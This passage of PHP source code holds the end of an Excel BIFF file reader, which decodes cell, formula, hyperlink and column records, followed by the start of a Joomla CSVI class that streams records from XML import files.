				case SPREADSHEET_EXCEL_READER_TYPE_LABELSST:
					$row		= ord($data[$spos]) | ord($data[$spos+1])<<8;
					$column	 = ord($data[$spos+2]) | ord($data[$spos+3])<<8;
					$xfindex	= ord($data[$spos+4]) | ord($data[$spos+5])<<8;
					$index  = $this->_GetInt4d($data, $spos + 6);
					$this->addcell($row, $column, $this->sst[$index], array('xfIndex'=>$xfindex) );
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_MULRK:
					$row		= ord($data[$spos]) | ord($data[$spos+1])<<8;
					$colFirst   = ord($data[$spos+2]) | ord($data[$spos+3])<<8;
					$colLast	= ord($data[$spos + $length - 2]) | ord($data[$spos + $length - 1])<<8;
					$columns	= $colLast - $colFirst + 1;
					$tmppos = $spos+4;
					for ($i = 0; $i < $columns; $i++) {
						$numValue = $this->_GetIEEE754($this->_GetInt4d($data, $tmppos + 2));
						$info = $this->_getCellDetails($tmppos-4,$numValue,$colFirst + $i + 1);
						$tmppos += 6;
						$this->addcell($row, $colFirst + $i, $info['string'], $info);
					}
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_NUMBER:
					$row	= ord($data[$spos]) | ord($data[$spos+1])<<8;
					$column = ord($data[$spos+2]) | ord($data[$spos+3])<<8;
					$tmp = unpack("ddouble", substr($data, $spos + 6, 8)); // It machine machine dependent
					if ($this->isDate($spos)) {
						$numValue = $tmp['double'];
					}
					else {
						$numValue = $this->createNumber($spos);
					}
					$info = $this->_getCellDetails($spos,$numValue,$column);
					$this->addcell($row, $column, $info['string'], $info);
					break;

				case SPREADSHEET_EXCEL_READER_TYPE_FORMULA:
				case SPREADSHEET_EXCEL_READER_TYPE_FORMULA2:
					$row	= ord($data[$spos]) | ord($data[$spos+1])<<8;
					$column = ord($data[$spos+2]) | ord($data[$spos+3])<<8;
					if ((ord($data[$spos+6])==0) && (ord($data[$spos+12])==255) && (ord($data[$spos+13])==255)) {
						//String formula. Result follows in a STRING record
						// This row/col are stored to be referenced in that record
						// http://code.google.com/p/php-excel-reader/issues/detail?id=4
						$previousRow = $row;
						$previousCol = $column;
					} elseif ((ord($data[$spos+6])==1) && (ord($data[$spos+12])==255) && (ord($data[$spos+13])==255)) {
						//Boolean formula. Result is in +2; 0=false,1=true
						// http://code.google.com/p/php-excel-reader/issues/detail?id=4
                        if (ord($this->data[$spos+8])==1) {
                            $this->addcell($row, $column, "TRUE");
                        } else {
                            $this->addcell($row, $column, "FALSE");
                        }
					} elseif ((ord($data[$spos+6])==2) && (ord($data[$spos+12])==255) && (ord($data[$spos+13])==255)) {
						//Error formula. Error code is in +2;
					} elseif ((ord($data[$spos+6])==3) && (ord($data[$spos+12])==255) && (ord($data[$spos+13])==255)) {
						//Formula result is a null string.
						$this->addcell($row, $column, '');
					} else {
						// result is a number, so first 14 bytes are just like a _NUMBER record
						$tmp = unpack("ddouble", substr($data, $spos + 6, 8)); // It machine machine dependent
							  if ($this->isDate($spos)) {
								$numValue = $tmp['double'];
							  }
							  else {
								$numValue = $this->createNumber($spos);
							  }
						$info = $this->_getCellDetails($spos,$numValue,$column);
						$this->addcell($row, $column, $info['string'], $info);
					}
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_BOOLERR:
					$row	= ord($data[$spos]) | ord($data[$spos+1])<<8;
					$column = ord($data[$spos+2]) | ord($data[$spos+3])<<8;
					$string = ord($data[$spos+6]);
					$this->addcell($row, $column, $string);
					break;
                case SPREADSHEET_EXCEL_READER_TYPE_STRING:
					// http://code.google.com/p/php-excel-reader/issues/detail?id=4
					if ($version == SPREADSHEET_EXCEL_READER_BIFF8){
						// Unicode 16 string, like an SST record
						$xpos = $spos;
						$numChars =ord($data[$xpos]) | (ord($data[$xpos+1]) << 8);
						$xpos += 2;
						$optionFlags =ord($data[$xpos]);
						$xpos++;
						$asciiEncoding = (($optionFlags &0x01) == 0) ;
						$extendedString = (($optionFlags & 0x04) != 0);
                        // See if string contains formatting information
						$richString = (($optionFlags & 0x08) != 0);
						if ($richString) {
							// Read in the crun
							$formattingRuns =ord($data[$xpos]) | (ord($data[$xpos+1]) << 8);
							$xpos += 2;
						}
						if ($extendedString) {
							// Read in cchExtRst
							$extendedRunLength =$this->_GetInt4d($this->data, $xpos);
							$xpos += 4;
						}
						$len = ($asciiEncoding)?$numChars : $numChars*2;
						$retstr =substr($data, $xpos, $len);
						$xpos += $len;
						$retstr = ($asciiEncoding)? $retstr : $this->_encodeUTF16($retstr);
					}
					elseif ($version == SPREADSHEET_EXCEL_READER_BIFF7){
						// Simple byte string
						$xpos = $spos;
						$numChars =ord($data[$xpos]) | (ord($data[$xpos+1]) << 8);
						$xpos += 2;
						$retstr =substr($data, $xpos, $numChars);
					}
					$this->addcell($previousRow, $previousCol, $retstr);
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_ROW:
					$row	= ord($data[$spos]) | ord($data[$spos+1])<<8;
					$rowInfo = ord($data[$spos + 6]) | ((ord($data[$spos+7]) << 8) & 0x7FFF);
					if (($rowInfo & 0x8000) > 0) {
						$rowHeight = -1;
					} else {
						$rowHeight = $rowInfo & 0x7FFF;
					}
					$rowHidden = (ord($data[$spos + 12]) & 0x20) >> 5;
					$this->rowInfo[$this->sn][$row+1] = Array('height' => $rowHeight / 20, 'hidden'=>$rowHidden );
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_DBCELL:
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_MULBLANK:
					$row = ord($data[$spos]) | ord($data[$spos+1])<<8;
					$column = ord($data[$spos+2]) | ord($data[$spos+3])<<8;
					$cols = ($length / 2) - 3;
					for ($c = 0; $c < $cols; $c++) {
						$xfindex = ord($data[$spos + 4 + ($c* 2)]) | ord($data[$spos + 5 + ($c* 2)])<<8;
						$this->addcell($row, $column + $c, "", array('xfIndex'=>$xfindex));
					}
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_LABEL:
					$row	= ord($data[$spos]) | ord($data[$spos+1])<<8;
					$column = ord($data[$spos+2]) | ord($data[$spos+3])<<8;
					$this->addcell($row, $column, substr($data, $spos + 8, ord($data[$spos + 6]) | ord($data[$spos + 7])<<8));
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_EOF:
					$cont = false;
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_HYPER:
					//  Only handle hyperlinks to a URL
					$row	= ord($this->data[$spos]) | ord($this->data[$spos+1])<<8;
					$row2   = ord($this->data[$spos+2]) | ord($this->data[$spos+3])<<8;
					$column = ord($this->data[$spos+4]) | ord($this->data[$spos+5])<<8;
					$column2 = ord($this->data[$spos+6]) | ord($this->data[$spos+7])<<8;
					$linkdata = Array();
					$flags = ord($this->data[$spos + 28]);
					$udesc = "";
					$ulink = "";
					$uloc = 32;
					$linkdata['flags'] = $flags;
					if (($flags & 1) > 0 ) {   // is a type we understand
						//  is there a description ?
						if (($flags & 0x14) == 0x14 ) {   // has a description
							$uloc += 4;
							$descLen = ord($this->data[$spos + 32]) | ord($this->data[$spos + 33]) << 8;
							$udesc = substr($this->data, $spos + $uloc, $descLen* 2);
							$uloc += 2* $descLen;
						}
						$ulink = $this->read16bitstring($this->data, $spos + $uloc + 20);
						if ($udesc == "") {
							$udesc = $ulink;
						}
					}
					$linkdata['desc'] = $udesc;
					$linkdata['link'] = $this->_encodeUTF16($ulink);
					for ($r=$row; $r<=$row2; $r++) { 
						for ($c=$column; $c<=$column2; $c++) {
							$this->sheets[$this->sn]['cellsInfo'][$r+1][$c+1]['hyperlink'] = $linkdata;
						}
					}
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_DEFCOLWIDTH:
					$this->defaultColWidth  = ord($data[$spos+4]) | ord($data[$spos+5]) << 8; 
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_STANDARDWIDTH:
					$this->standardColWidth  = ord($data[$spos+4]) | ord($data[$spos+5]) << 8; 
					break;
				case SPREADSHEET_EXCEL_READER_TYPE_COLINFO:
					$colfrom = ord($data[$spos+0]) | ord($data[$spos+1]) << 8;
					$colto = ord($data[$spos+2]) | ord($data[$spos+3]) << 8;
					$cw = ord($data[$spos+4]) | ord($data[$spos+5]) << 8; 
					$cxf = ord($data[$spos+6]) | ord($data[$spos+7]) << 8; 
					$co = ord($data[$spos+8]); 
					for ($coli = $colfrom; $coli <= $colto; $coli++) {
						$this->colInfo[$this->sn][$coli+1] = Array('width' => $cw, 'xf' => $cxf, 'hidden' => ($co & 0x01), 'collapsed' => ($co & 0x1000) >> 12);
					}
					break;

				default:
					break;
			}
			$spos += $length;
		}

		if (!isset($this->sheets[$this->sn]['numRows']))
			 $this->sheets[$this->sn]['numRows'] = $this->sheets[$this->sn]['maxrow'];
		if (!isset($this->sheets[$this->sn]['numCols']))
			 $this->sheets[$this->sn]['numCols'] = $this->sheets[$this->sn]['maxcol'];
		}

		function isDate($spos) {
			$xfindex = ord($this->data[$spos+4]) | ord($this->data[$spos+5]) << 8;
			return ($this->xfRecords[$xfindex]['type'] == 'date');
		}

		// Get the details for a particular cell
		function _getCellDetails($spos,$numValue,$column) {
			$xfindex = ord($this->data[$spos+4]) | ord($this->data[$spos+5]) << 8;
			$xfrecord = $this->xfRecords[$xfindex];
			$type = $xfrecord['type'];
			$format = $xfrecord['format'];
			$formatIndex = $xfrecord['formatIndex'];
			$fontIndex = $xfrecord['fontIndex'];
			$formatColor = "";
			$rectype = '';
			$string = '';
			$raw = '';

			if (isset($this->_columnsFormat[$column + 1])){
				$format = $this->_columnsFormat[$column + 1];
			}

			if ($type == 'date') {
				// See http://groups.google.com/group/php-excel-reader-discuss/browse_frm/thread/9c3f9790d12d8e10/f2045c2369ac79de
				$rectype = 'date';
				// Convert numeric value into a date
				$utcDays = floor($numValue - ($this->nineteenFour ? SPREADSHEET_EXCEL_READER_UTCOFFSETDAYS1904 : SPREADSHEET_EXCEL_READER_UTCOFFSETDAYS));
				$utcValue = ($utcDays)* SPREADSHEET_EXCEL_READER_MSINADAY;
				$dateinfo = gmgetdate($utcValue);

				$raw = $numValue;
				$fractionalDay = $numValue - floor($numValue) + .0000001; // The .0000001 is to fix for php/excel fractional diffs

				$totalseconds = floor(SPREADSHEET_EXCEL_READER_MSINADAY* $fractionalDay);
				$secs = $totalseconds % 60;
				$totalseconds -= $secs;
				$hours = floor($totalseconds / (60* 60));
				$mins = floor($totalseconds / 60) % 60;
				$string = date ($format, mktime($hours, $mins, $secs, $dateinfo["mon"], $dateinfo["mday"], $dateinfo["year"]));
			} else if ($type == 'number') {
				$rectype = 'number';
				$formatted = $this->_format_value($format, $numValue, $formatIndex);
				$string = $formatted['string'];
				$formatColor = $formatted['formatColor'];
				$raw = $numValue;
			} else{
				if ($format=="") {
					$format = $this->_defaultFormat;
				}
				$rectype = 'unknown';
				$formatted = $this->_format_value($format, $numValue, $formatIndex);
				$string = $formatted['string'];
				$formatColor = $formatted['formatColor'];
				$raw = $numValue;
			}

			return array(
				'string'=>$string,
				'raw'=>$raw,
				'rectype'=>$rectype,
				'format'=>$format,
				'formatIndex'=>$formatIndex,
				'fontIndex'=>$fontIndex,
				'formatColor'=>$formatColor,
				'xfIndex'=>$xfindex
			);

		}


	function createNumber($spos) {
		$rknumhigh = $this->_GetInt4d($this->data, $spos + 10);
		$rknumlow = $this->_GetInt4d($this->data, $spos + 6);
		$sign = ($rknumhigh & 0x80000000) >> 31;
		$exp =  ($rknumhigh & 0x7ff00000) >> 20;
		$mantissa = (0x100000 | ($rknumhigh & 0x000fffff));
		$mantissalow1 = ($rknumlow & 0x80000000) >> 31;
		$mantissalow2 = ($rknumlow & 0x7fffffff);
		$value = $mantissa / pow( 2 , (20- ($exp - 1023)));
		if ($mantissalow1 != 0) $value += 1 / pow (2 , (21 - ($exp - 1023)));
		$value += $mantissalow2 / pow (2 , (52 - ($exp - 1023)));
		if ($sign) {$value = -1* $value;}
		return  $value;
	}

	function addcell($row, $col, $string, $info=null) {
		$this->sheets[$this->sn]['maxrow'] = max($this->sheets[$this->sn]['maxrow'], $row + $this->_rowoffset);
		$this->sheets[$this->sn]['maxcol'] = max($this->sheets[$this->sn]['maxcol'], $col + $this->_coloffset);
		$this->sheets[$this->sn]['cells'][$row + $this->_rowoffset][$col + $this->_coloffset] = $string;
		if ($this->store_extended_info && $info) {
			foreach ($info as $key=>$val) {
				$this->sheets[$this->sn]['cellsInfo'][$row + $this->_rowoffset][$col + $this->_coloffset][$key] = $val;
			}
		}
	}


	function _GetIEEE754($rknum) {
		if (($rknum & 0x02) != 0) {
				$value = $rknum >> 2;
		} else {
			//mmp
			// I got my info on IEEE754 encoding from
			// http://research.microsoft.com/~hollasch/cgindex/coding/ieeefloat.html
			// The RK format calls for using only the most significant 30 bits of the
			// 64 bit floating point value. The other 34 bits are assumed to be 0
			// So, we use the upper 30 bits of $rknum as follows...
			$sign = ($rknum & 0x80000000) >> 31;
			$exp = ($rknum & 0x7ff00000) >> 20;
			$mantissa = (0x100000 | ($rknum & 0x000ffffc));
			$value = $mantissa / pow( 2 , (20- ($exp - 1023)));
			if ($sign) {
				$value = -1* $value;
			}
			//end of changes by mmp
		}
		if (($rknum & 0x01) != 0) {
			$value /= 100;
		}
		return $value;
	}

	function _encodeUTF16($string) {
		$result = $string;
		if ($this->_defaultEncoding){
			switch ($this->_encoderFunction){
				case 'iconv' :	 $result = @iconv('UTF-16LE', $this->_defaultEncoding, $string);
								break;
				case 'mb_convert_encoding' :	 $result = @mb_convert_encoding($string, $this->_defaultEncoding, 'UTF-16LE' );
								break;
			}
		}
		return $result;
	}

	function _GetInt4d($data, $pos) {
		$value = ord($data[$pos]) | (ord($data[$pos+1]) << 8) | (ord($data[$pos+2]) << 16) | (ord($data[$pos+3]) << 24);
		if ($value>=4294967294) {
			$value=-2;
		}
		return $value;
	}

}

?>
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/**
 * XML file processor class
 *
 * @package		CSVI
 * @author 		Roland Dalmulder
 * @link 		http://www.csvimproved.com
 * @copyright 	Copyright (C) 2006 - 2013 RolandD Cyber Produksi. All rights reserved.
 * @license 	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 * @version 	$Id: xml.php 2275 2013-01-03 21:08:43Z RolandD $
 */

defined( '_JEXEC' ) or die( 'Direct Access to this location is not allowed.' );

class XmlFile extends CsviFile {

	/** @var bool  Indicates whether a record from an XML file is ready for extraction */
	private $_xml_cache = false;

	/** @var array  Contains the data found in the latest XML record read */
	private $_xml_data = array();

	/** @var array  Contains the list of fields found in the latest XML record read */
	private $_xml_fields = array();

	/** @var array  Contains details extracted from the XML file map */
	private $_xml_schema = array();

	/** @var array  Contains the list of valid record types (node name) in the input XML file */
	private $_xml_records = array();

	/** @var integer Internal line pointer */
	public $linepointer = 0;

	/**
	 * Construct the class and its settings
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Load the column headers from a file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		bool	true if we loaded the column header | false if the column headers are not loaded
	 * @since 		3.0
	 */
	public function loadColumnHeaders() {
		// XML has no column headers
		if ($this->_getXmlFields() == true) {
			$jinput = JFactory::getApplication()->input;
			$jinput->set('columnheaders', $this->_xml_fields);
			return true;
		}
		else {
			/**
			 * Note: clearing the value when no fields found causes a problem when processing
			 * XML files with the 'use headers' option set because the function is called after the
			 * end of file has been reached. When an empty set of fields is returned, the program
			 * fails to terminate properly and loops endlessly through the import continuation page.
			 */
			return false;
		}
	}

	/**
	 * Get the file position
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		int	current position in the file
	 * @since 		3.0
	 */
	public function getFilePos() {
		return $this->linepointer;
	}

	/**
	 * Set the file position
	 *
	 * To be able to set the file position correctly, the XML reader needs to be at the start of the file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param 		int	$pos	the position to move to
	 * @return 		int	current position in the file
	 * @since 		3.0
	 */
	public function setFilePos($pos) {
		// Close the XML reader
		$this->closeFile(false);
		// Open a new XML reader
		$this->processFile();
		// Move the pointer to the specified position
		return $this->_skipXmlRecords($pos);
	}

	/**
	 * Close the file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function closeFile($removefolder=true) {
		$this->data->close();
		$this->_xml_cache = false;
		$this->_closed = true;
		parent::closeFile($removefolder);
	}

	/**
	 * Read the next line in the file
	 *
	 * @copyright
	 * @author 		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return 		array	with the line of data read | false if data cannot be read
	 * @since 		3.0
	 */
	public function readNextLine() {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		$csvilog->addDebug('Reading next line');
		if ($this->_getXmlData() == true) {
			$this->linepointer++;
			return $this->_xml_data;
		}
		else {
			return false;
		}
	}

	/**
	 * Process the file to import
	 *
	 * @copyright
	 * @author		RolandD
	 * @todo
	 * @see
	 * @access 		public
	 * @param
	 * @return
	 * @since 		3.0
	 */
	public function processFile() {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		// Use a streaming approach to support large files
		$this->data = new XMLReader();
		$this->fp = $this->data->open($this->filename);
		if ($this->fp == false) {
			$csvilog->AddStats('incorrect', JText::_('COM_CSVI_ERROR_XML_READING_FILE'));
			return false;
		}
		// File opened successfully - Prepare the arrays needed to read data from the XML file
		$this->fp = $this->_getXmlSchema();

		if ($this->fp == false) {
			$this->closeFile();
			$csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_INVALID_TABLE'));
			return false;
		}

		return true;
	}

	/**
	 * Searches an XML file for a series of nodes representing a complete record. The name(s) of the nodes representing records
	 * must be supplied (via the 'xml_nodes_map' field) but the list of fields can be supplied in three ways:
	 * 1 No fields defined in the 'xml_nodes_map' field and the 'use headers' option set to 'off'. Despite the 'use headers' being set
	 *   to 'off', the field nodes in the first record are used to configure the whole run. This requires that all fields be present in
	 *   every record, the node names match the field names and that all of the 'field' nodes are one level below the 'record' node in
	 *   the XML hierarchy.
	 * 2 No fields defined in the 'xml_nodes_map' field and the 'use headers' option set to 'on'. This causes the 'headers to be read
	 *   from the XML nodes for every record. This is suitable if not all of the fields are populated for every record in the XML file
	 *   but is slower than option 1.
	 * 3 Fields defined in the 'xml_nodes_map' field. The 'use headers' option is ignored. This gives the flexibility to set up a map
	 *   so that an XML hierarchy can be modelled, node names to be mapped to field names and also allows fields to be extracted from
	 *   node attributes.
	 *
	 * It is possible that the current node when the function is called is the start of the next record.
	 * Valid 'record' node names are held in the $this->_xml_records array.
	 * Valid 'field' node and attribute names are held in the $this->_xml_schema array.
	 * The arrays $this->_xml_data and $this->_xml_fields are populated with data and field names respectively. To prevent SQL errors
	 * when writing the data to the table, only fields found in the array $this->_supported_fields are included. This function could be
	 * extended.
	 *
	 * @copyright
	 * @author 		doorknob
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return 		bool - indicates whether the array $this->_xml_data was populated.
	 * @since 		3.0
	 */
	private function _getXmlFieldsAndData() {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		// Initialise the arrays that will receive the data and field list from the next record
		$this->_xml_data = array();
		$this->_xml_fields = array();
		// Validation checking disabled because a DTD (or RELAX NG) schema is required and is usually not available
		$validate_xml = false;
		if( $validate_xml == true ) {
			// Note: When the DTD is external, this must be done before the first read()
			$this->data->setParserProperty(XMLReader::VALIDATE, true);
		}
		/**
		 * Search for the start of the next record but only read the file if the next record is not already current
		 * Must be the correct element type (start of node) and in the list of valid record nodes.
		 * Note: Self closing notes are accepted because they may contain data in the attributes
		 */
		if (!$this->_isXmlRecordNode($this->data->nodeType, $this->data->name)) {
			// Either no current node or the current node is not the start of a record
			while( $this->data->read() ) {
				if( $validate_xml == true ) {
					$this->fp = $this->data->isValid();
					if( $this->fp == false ){
						$this->closeFile();
						$csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_FILE_INVALID'));
						return false;
					}
				}
				if( $this->_isXmlRecordNode( $this->data->nodeType, $this->data->name ) ) {
					// Record node found
					break;
				}
			}
		}
		// Check whether a record was found
		if ($this->_isXmlRecordNode($this->data->nodeType, $this->data->name)) {
			// Start of a valid record
			$self_closing = $this->data->isEmptyElement;
			$record_name = strtolower($this->data->name);
			// Extract any attributes, if defined
			if (isset($this->_xml_schema[$record_name]['attrs']) ) {
				// Record level attributes are defined as fields
				while( $this->data->moveToNextAttribute() ) {
					// Check each attribute to determine whether the value should be extracted
					if( isset($this->_xml_schema[$record_name]['attrs'][strtolower($this->data->name)]) ) {
						$this->_xml_fields[] = $this->_xml_schema[$record_name]['attrs'][strtolower($this->data->name)];
						$this->_xml_data[] = $this->data->value;
					}
				}
			}
			if ($self_closing == false) {
				// Now search for group/field nodes
				$xml_path = array();
				/**
				 * Note: $this->data->next() is used rather than $this->data->read() when the readInnerXML() function has been used
				 * to extract the contents of a node. Because the contect extracted may contain other nodes,$this->data->next() is
				 * used to skip to the closing node.
				 * readInnerXML() is used in case the data contains html tags but it doesn't move the file pointer.
				 * Subsequently using $this->data->next() forces the pointer to skip past any HTML tags that have already been read.
				 * The value does not need to be maintained between between calls to this function because readInnerXML() is
				 * never used immediately before exiting the function.
				 */
				$use_read = true;
				while ($use_read == true ? $this->data->read() : $this->data->next() ) {
					// XML error detection
					if ($validate_xml == true) {
						$this->fp = $this->data->isValid();
						if( $this->fp == false ){
							$this->closeFile();
							$csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_FILE_INVALID'));
							return false;
						}
					}
					// Default to a reading a single node in the next loop
					$use_read = true;
					// Searching for a group or field node
					if ($this->data->nodeType == XMLReader::ELEMENT) {
						// New node found
						$self_closing = $this->data->isEmptyElement;
						if (empty($this->_xml_schema)) {
							// Template fields being used to control the data extraction
							if ($this->_isXmlFieldNameValid($this->data->name)) {
								// Node corresponding to a supported field found - extract the data
								$this->_xml_fields[] = strtolower($this->data->name);
								$xmldata = $this->data->readInnerXML();
								$xmldata = str_ireplace(array('<![CDATA[',']]>'), '', $xmldata);
								$this->_xml_data[] = $xmldata;
								// At the next read, skip to the next node at this level
								$use_read = false;
							}
							else {
								// A node has been found that does not match the available fields list
								$csvilog->addDebug(JText::sprintf('COM_CSVI_XML_NODE_NOT_MATCH_FIELD', $this->data->name));
							}
						}
						else {
							// The user defined map is being used to control the data extraction
							$current_path = $this->_getXmlNodePath($xml_path, strtolower($this->data->name));

							// The node may have attributes that map to fields, regardless of the type of node
							if (isset($this->_xml_schema[$record_name]['nodes'][$current_path]['attrs'])) {
								// Node has attributes that are defined as fields
								while ($this->data->moveToNextAttribute()) {
									// Check each attribute to determine whether the value should be extracted
									if( isset($this->_xml_schema[$record_name]['nodes'][$current_path]['attrs'][strtolower($this->data->name)]) ) {
										$this->_xml_fields[] = $this->_xml_schema[$record_name]['nodes'][$current_path]['attrs'][strtolower($this->data->name)];
										$xmldata = $this->data->readInnerXML();
										$xmldata = str_ireplace(array('<![CDATA[',']]>'), '', $xmldata);
										$this->_xml_data[] = $xmldata;
										// At the next read, skip to the next node at this level
										$use_read = false;
									}
								}
							}
							if (empty($this->_xml_schema[$record_name]['nodes'][$current_path]['field'])) {
								// This node is not defined as a field
								if (isset($this->_xml_schema[$record_name]['nodes'][$current_path]['field'])) {
									// This is a 'group' node - add it to the path unless it is self closing
									if( $self_closing == false ) {
										$this->_pushXmlNodePath( $xml_path, $this->data->name );
									}
								}
								else {
									// Unknown node found - The file is not mapped correctly and the run cannot continue
									$csvilog->addDebug(JText::sprintf('COM_CSVI_XML_UNMAPPED_NODE', $this->data->name));
									$csvilog->AddStats('incorrect', JText::sprintf('COM_CSVI_XML_UNDEFINED_NODE', $this->data->name));
									return false;
								}
							}
							else {
								// This node is defined as a field - extract the data
								$this->_xml_fields[] = $this->_xml_schema[$record_name]['nodes'][$current_path]['field'];
								$xmldata = $this->data->readInnerXML();
								$xmldata = str_ireplace(array('<![CDATA[',']]>'), '', $xmldata);
								$this->_xml_data[] = $xmldata;

								// At the next read, skip to the next node at this level
								$use_read = false;
							}
						}
					}
					else if ($this->data->nodeType == XMLReader::END_ELEMENT) {
						// Searching for the end of the record or the end of a group node
						if( strtolower($this->data->name) == $record_name ) {
							// End of record found
							break;
						} else {
							// End of node - Only valid case is the end of a group node
							if( !empty($this->_xml_schema) && !empty($xml_path) && $xml_path[count($xml_path)-1] == strtolower($this->data->name) ) {
								// End of group node found - pop it from the stack
								$this->_popXmlNodePath( $xml_path );
							} else {
								// Unknown end of node - error
								$csvilog->addDebug(JText::sprintf('COM_CSVI_XML_UNEXPECTED_END_NODE', $this->data->name));
							}
						}
					}
				}
			}
		}
		$this->_xml_cache = !empty($this->_xml_data);
		return $this->_xml_cache;
	}

	/**
	 * Returns a boolean value to indicate whether the specified node is a new XML record type.
	 *
	 * @copyright
	 * @author		doorknob
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return 		bool	true if record is a node | false if record is not a node
	 * @since 		3.0
	 */
	private function _isXmlRecordNode( $node_type, $node_name ) {
		return ($node_type == XMLReader::ELEMENT && in_array(strtolower($node_name), $this->_xml_records));
	}

	/**
	* Returns the list of data values found in the most recently read XML record. If the getXmlFields() function has been
	* called since the last call of this function, the cache may be full and the data can be returned without reading the file.
	*
	* @return array - The list of data values from the most recently read XML record (empty when end of file is reached)
	*/
	private function _getXmlData() {
		$return = !empty($this->_xml_data);
		if( $this->_xml_cache == false ) {
			$return = $this->_getXmlFieldsAndData();
		}
		// Indicate that a new record will be required the next time this function is called
		$this->_xml_cache = false;
		return $return;
	}

	/**
	* Returns the list of fields found in the most recently read XML record. If the cache is empty, the next record is
	* read from the input file to ensure that the headers correspond with the data (in XML files, each record can have a
	* different set of 'headers'). Checking the status of the cache indicator also prevents records being skipped if this
	* function is called multiple times between records.
	*
	* @return array - The list of fields from the most recently read XML record (empty when end of file is reached)
	*/
	private function _getXmlFields() {
		$return = !empty($this->_xml_fields);
		if ($this->_xml_cache == false) {
			$return = $this->_getXmlFieldsAndData();
		}
		return $return;
	}

	/**
	 * Skips through the XML file until the the required number 'record' nodes has been read
	 * Assume the file pointer is at the start of file
	 *
	 * @copyright
	 * @author		doorknob, RolandD
	 * @todo
	 * @see
	 * @access 		private
	 * @param
	 * @return 		boolean	true if records are skipped | false if records are not skipped
	 * @since 		3.0
	 */
	private function _skipXmlRecords($pos) {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		// Check whether the pointer needs to be moved
		if ($pos <= 0) return true;

		$count = 0;
		/**
		 * Note: When the DTD is external, this must be done before the first read()
		 * Validation not used because invalid files generate php errors when validated
		 */
		$validate_xml = false;
		if( $validate_xml == true ) {
			$this->data->setParserProperty(XMLReader::VALIDATE, true);
		}
		while ($this->data->read()) {
			// Validation checking disabled because a DTD (or RELAX NG) schema is required and is usually not available
			if( $validate_xml == true ) {
				$this->fp = $this->data->isValid();
				if( $this->fp == false ){
					$this->closeFile();
					$csvilog->AddStats('incorrect', JText::_('COM_CSVI_XML_INVALID'));
					return false;
				}
			}
			// Searching for a valid record - must be the start of a node and in the list of valid record types
			if( !$this->_isXmlRecordNode( $this->data->nodeType, $this->data->name ) ) {
				// Not found - try again
				continue;
			}
			else {
				// Found a valid record
				while( $this->_isXmlRecordNode( $this->data->nodeType, $this->data->name ) ) {
					// Node is a valid record type - skip to the end of the record
					$this->data->next();
					$count++;
					if( $count == $pos) {
						return true;
					}
				}
			}
		}
		// Hit EOF before skipping the required number of records
		return false;
	}

	/**
	* Build an array of xml nodes from the user defined map:
	*
	* $this->_xml_schema[record_node]['attrs'][attr_name] => field name
	* $this->_xml_schema[record_node]['nodes'][field_node_path]['attrs'][attr_name] => field name
	* $this->_xml_schema[record_node]['nodes'][field_node_path]['field'] => field name
	* Note: field_node_path is a comma separated list of node names below the record node
	*
	* @return bool returns true if all fine else false
	*/
	private function _getXmlSchema() {
		$jinput = JFactory::getApplication()->input;
		$template = $jinput->get('template', null, null);
		$xml_nodes_map = $template->get('xml_nodes_map', 'general', '', 'string', JREQUEST_ALLOWRAW);
		$xml_node_path = array(); // Single copy of this array that is passed by reference only
		$current_record = ''; // Single copy of this variable that is passed by reference only
		return $this->_getXmlNode($xml_nodes_map, $current_record, $xml_node_path);
	}

	/**
	* Process a node from the XML Map
	* It is permitted for the XML to just define one or more tables without fields (when the 'use headers' option is used)
	*
	* Note: Calls itself recursively to process a tree
	*
	* @return bool returns true if all fine else false
	*/
	private function _getXmlNode($node_content, $current_record, $xml_path) {
		$jinput = JFactory::getApplication()->input;
		$csvilog = $jinput->get('csvilog', null, null);
		$current_node = '';
		$xml_schema = new XMLReader();
		/**
		 * Add a wrapper to make the XML viable and ensure that self closing tags contain a space before the '/>'
		 * The XML may still be invalid but that's down to what the user entered
		 */
		$node_content = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<da_root>".$node_content.'</da_root>';
		$xml_schema->XML($node_content);

		// XML file to table map is valid XML - construct the arrays used in file extraction
		$use_read = true;
		// The XML could only be validated against a DTD if the syntax of the XML used for the map is made more complex
		$validate_xml = false;
		if ($validate_xml == true) {
			// Note: When the DTD is external, the property value must be set before the first read()
			$xml_schema->setParserProperty(XMLReader::VALIDATE, true);
		}
		while($use_read ? $xml_schema->read() : $xml_schema->next()) {
			// Validation checking disabled because a DTD (or RELAX NG) schema is required.
			if ($validate_xml == true) {
				if( $xml_schema->isValid() == false ){
					$xml_schema->close();
					return false;
				}
			}

